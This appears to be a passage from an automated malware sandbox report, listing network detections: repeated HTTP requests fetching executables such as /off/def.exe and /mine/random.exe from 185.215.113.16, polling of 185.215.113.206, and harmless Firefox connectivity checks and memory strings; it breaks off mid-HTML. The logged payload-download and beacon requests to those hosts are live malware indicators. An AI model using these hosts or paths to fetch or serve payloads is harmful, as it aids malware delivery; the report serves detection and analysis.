Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://ads.stickyadstv.com/user-matching://.adsafeprotected.com//unit/color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color://.adsafeprotected.com/services/pub--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolor://pubads.g.doubleclick.net/gampad/xml_vmap2://pixel.advertising.com/firefox-etp://securepubads.g.doubleclick.net/gampad/ad://cdn.cmp.advertising.com/firefox-etp://.adsafeprotected.com/jload?://vast.adsafeprotected.com/vast://.adsafeprotected.com//imp/https://ads.stickyadstv.com/firefox-etp://trends.google.com/trends/embed://pubads.g.doubleclick.net/gampad/ad*://pubads.g.doubleclick.net/gampad/ad-blk*://www.facebook.com/platform/impression.phpresource:///modules/InstallerPrefs.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.js://media.richrelevance.com/rrserver/js/1.2/p13n.js://pagead2.googlesyndication.com/pagead/.jsfcd=true://securepubads.g.doubleclick.net/gampad/ad-blk://tpc.googlesyndication.com/safeframe//html/container.htmlC:\Program Files\Mozilla Firefox\browser\features://www.gstatic.com/firebasejs//firebase-messaging.js*resource://gre/modules/ExtensionTelemetry.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div 